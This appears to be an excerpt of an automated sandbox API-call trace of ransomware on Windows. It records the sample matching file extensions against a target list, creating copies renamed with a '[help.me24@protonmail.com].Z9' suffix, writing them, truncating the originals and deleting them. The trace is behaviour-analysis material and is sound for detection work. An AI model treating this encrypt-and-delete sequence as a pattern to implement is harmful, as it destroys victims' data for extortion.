	[0160.889] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0160.889] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.889] lstrlenW (lpString=".zip") returned 4
	[0160.889] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0160.889] lstrlenW (lpString=".rar") returned 4
	[0160.889] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0160.889] lstrlenW (lpString=".bz2") returned 4
	[0160.889] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0160.889] lstrlenW (lpString=".7z") returned 3
	[0160.889] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0160.889] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.889] lstrlenW (lpString=".dbf") returned 4
	[0160.889] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0160.889] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.889] lstrlenW (lpString=".1cd") returned 4
	[0160.889] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0160.889] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.889] lstrlenW (lpString=".jpg") returned 4
	[0160.889] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0160.889] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0160.890] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0160.890] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.890] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=76632) returned 1
	[0160.890] CloseHandle (hObject=0x394) returned 1
	[0160.890] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0160.890] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.890] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.890] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.890] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.891] lstrlenW (lpString=".doc") returned 4
	[0160.891] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0160.891] lstrlenW (lpString=".docx") returned 5
	[0160.891] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0160.891] lstrlenW (lpString=".pdf") returned 4
	[0160.891] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0160.891] lstrlenW (lpString=".xls") returned 4
	[0160.891] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0160.891] lstrlenW (lpString=".xlsx") returned 5
	[0160.891] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0160.891] lstrlenW (lpString=".ppt") returned 4
	[0160.891] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0160.891] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.891] lstrlenW (lpString=".zip") returned 4
	[0160.891] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0160.891] lstrlenW (lpString=".rar") returned 4
	[0160.891] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0160.891] lstrlenW (lpString=".bz2") returned 4
	[0160.891] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0160.891] lstrlenW (lpString=".7z") returned 3
	[0160.891] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0160.891] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.891] lstrlenW (lpString=".dbf") returned 4
	[0160.891] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0160.891] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.891] lstrlenW (lpString=".1cd") returned 4
	[0160.891] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0160.891] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.891] lstrlenW (lpString=".jpg") returned 4
	[0160.891] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0160.891] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.891] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.891] lstrlenW (lpString=".doc") returned 4
	[0160.891] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0160.892] lstrlenW (lpString=".docx") returned 5
	[0160.892] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0160.892] lstrlenW (lpString=".pdf") returned 4
	[0160.892] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0160.892] lstrlenW (lpString=".xls") returned 4
	[0160.892] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0160.892] lstrlenW (lpString=".xlsx") returned 5
	[0160.892] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0160.892] lstrlenW (lpString=".ppt") returned 4
	[0160.892] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0160.892] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.892] lstrlenW (lpString=".zip") returned 4
	[0160.892] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0160.892] lstrlenW (lpString=".rar") returned 4
	[0160.892] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0160.892] lstrlenW (lpString=".bz2") returned 4
	[0160.892] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0160.892] lstrlenW (lpString=".7z") returned 3
	[0160.892] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0160.892] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.892] lstrlenW (lpString=".dbf") returned 4
	[0160.892] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0160.892] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.892] lstrlenW (lpString=".1cd") returned 4
	[0160.892] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0160.892] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0160.892] lstrlenW (lpString=".jpg") returned 4
	[0160.892] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0160.892] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0160.892] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0160.893] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.893] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=45472) returned 1
	[0160.893] CloseHandle (hObject=0x394) returned 1
	[0160.893] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20
	[0160.893] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.893] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.893] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.893] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.893] lstrlenW (lpString=".doc") returned 4
	[0160.893] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0160.893] lstrlenW (lpString=".docx") returned 5
	[0160.893] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0160.893] lstrlenW (lpString=".pdf") returned 4
	[0160.893] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0160.893] lstrlenW (lpString=".xls") returned 4
	[0160.893] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0160.894] lstrlenW (lpString=".xlsx") returned 5
	[0160.894] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0160.894] lstrlenW (lpString=".ppt") returned 4
	[0160.894] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0160.894] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.894] lstrlenW (lpString=".zip") returned 4
	[0160.894] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0160.894] lstrlenW (lpString=".rar") returned 4
	[0160.894] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0160.894] lstrlenW (lpString=".bz2") returned 4
	[0160.894] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0160.894] lstrlenW (lpString=".7z") returned 3
	[0160.894] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0160.894] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.894] lstrlenW (lpString=".dbf") returned 4
	[0160.894] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0160.894] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.894] lstrlenW (lpString=".1cd") returned 4
	[0160.894] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0160.894] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.894] lstrlenW (lpString=".jpg") returned 4
	[0160.894] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0160.894] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.894] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.894] lstrlenW (lpString=".doc") returned 4
	[0160.894] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0160.894] lstrlenW (lpString=".docx") returned 5
	[0160.894] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0160.894] lstrlenW (lpString=".pdf") returned 4
	[0160.894] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0160.894] lstrlenW (lpString=".xls") returned 4
	[0160.895] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0160.895] lstrlenW (lpString=".xlsx") returned 5
	[0160.895] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0160.895] lstrlenW (lpString=".ppt") returned 4
	[0160.895] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0160.895] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.895] lstrlenW (lpString=".zip") returned 4
	[0160.895] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0160.895] lstrlenW (lpString=".rar") returned 4
	[0160.895] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0160.895] lstrlenW (lpString=".bz2") returned 4
	[0160.895] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0160.895] lstrlenW (lpString=".7z") returned 3
	[0160.895] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0160.895] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.895] lstrlenW (lpString=".dbf") returned 4
	[0160.895] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0160.895] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.895] lstrlenW (lpString=".1cd") returned 4
	[0160.895] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0160.895] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29
	[0160.895] lstrlenW (lpString=".jpg") returned 4
	[0160.895] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0160.895] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0160.895] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0160.895] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.896] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=75616) returned 1
	[0160.896] CloseHandle (hObject=0x394) returned 1
	[0160.896] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20
	[0160.896] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.896] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.896] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0160.896] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0160.896] lstrlenW (lpString=".doc") returned 4
	[0160.896] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0160.896] lstrlenW (lpString=".docx") returned 5
	[0160.896] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0160.896] lstrlenW (lpString=".pdf") returned 4
	[0160.896] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0160.896] lstrlenW (lpString=".xls") returned 4
	[0160.896] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0160.896] lstrlenW (lpString=".xlsx") returned 5
	[0160.896] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0160.896] lstrlenW (lpString=".ppt") returned 4
	[0160.897] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0160.897] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0160.897] lstrlenW (lpString=".zip") returned 4
	[0160.897] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0160.897] lstrlenW (lpString=".rar") returned 4
	[0160.897] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0160.897] lstrlenW (lpString=".bz2") returned 4
	[0160.897] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0160.897] lstrlenW (lpString=".7z") returned 3
	[0160.897] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0160.897] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29
	[0160.905] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0160.909] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0160.930] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0162.473] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0162.473] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.473] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.473] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0162.474] GetLastError () returned 0x0
	[0162.474] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x44661, lpOverlapped=0x0) returned 1
	[0162.509] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x44670, lpOverlapped=0x0) returned 1
	[0162.699] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.699] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0162.699] SetEndOfFile (hFile=0x440) returned 1
	[0162.699] CloseHandle (hObject=0x440) returned 1
	[0162.704] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.704] SetEndOfFile (hFile=0x434) returned 1
	[0162.714] CloseHandle (hObject=0x434) returned 1
	[0162.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.715] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1
	[0162.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.715] lstrlenW (lpString=".doc") returned 4
	[0162.716] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.716] lstrlenW (lpString=".docx") returned 5
	[0162.716] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0162.716] lstrlenW (lpString=".pdf") returned 4
	[0162.716] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.716] lstrlenW (lpString=".xls") returned 4
	[0162.716] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.716] lstrlenW (lpString=".xlsx") returned 5
	[0162.716] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0162.716] lstrlenW (lpString=".ppt") returned 4
	[0162.716] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.716] lstrlenW (lpString=".zip") returned 4
	[0162.716] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.716] lstrlenW (lpString=".rar") returned 4
	[0162.716] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.716] lstrlenW (lpString=".bz2") returned 4
	[0162.716] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.716] lstrlenW (lpString=".7z") returned 3
	[0162.716] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.716] lstrlenW (lpString=".dbf") returned 4
	[0162.716] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.716] lstrlenW (lpString=".1cd") returned 4
	[0162.716] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.716] lstrlenW (lpString=".jpg") returned 4
	[0162.716] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.716] lstrlenW (lpString=".doc") returned 4
	[0162.716] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.716] lstrlenW (lpString=".docx") returned 5
	[0162.716] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0162.717] lstrlenW (lpString=".pdf") returned 4
	[0162.717] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.717] lstrlenW (lpString=".xls") returned 4
	[0162.717] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.717] lstrlenW (lpString=".xlsx") returned 5
	[0162.717] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0162.717] lstrlenW (lpString=".ppt") returned 4
	[0162.717] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.717] lstrlenW (lpString=".zip") returned 4
	[0162.717] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.717] lstrlenW (lpString=".rar") returned 4
	[0162.717] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.717] lstrlenW (lpString=".bz2") returned 4
	[0162.717] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.717] lstrlenW (lpString=".7z") returned 3
	[0162.717] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.717] lstrlenW (lpString=".dbf") returned 4
	[0162.717] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.717] lstrlenW (lpString=".1cd") returned 4
	[0162.717] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0162.717] lstrlenW (lpString=".jpg") returned 4
	[0162.717] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.717] lstrcmpiW (lpString1=".bfc", lpString2=".Z9") returned -1
	[0162.717] lstrlenW (lpString="fontconfig.bfc") returned 14
	[0162.717] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0162.718] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=3770) returned 1
	[0162.718] CloseHandle (hObject=0x434) returned 1
	[0162.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20
	[0162.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.837] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0162.837] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.837] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.837] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0162.840] GetLastError () returned 0x0
	[0162.841] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0xeba, lpOverlapped=0x0) returned 1
	[0162.843] WriteFile (in: hFile=0x440, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec0, lpOverlapped=0x0) returned 1
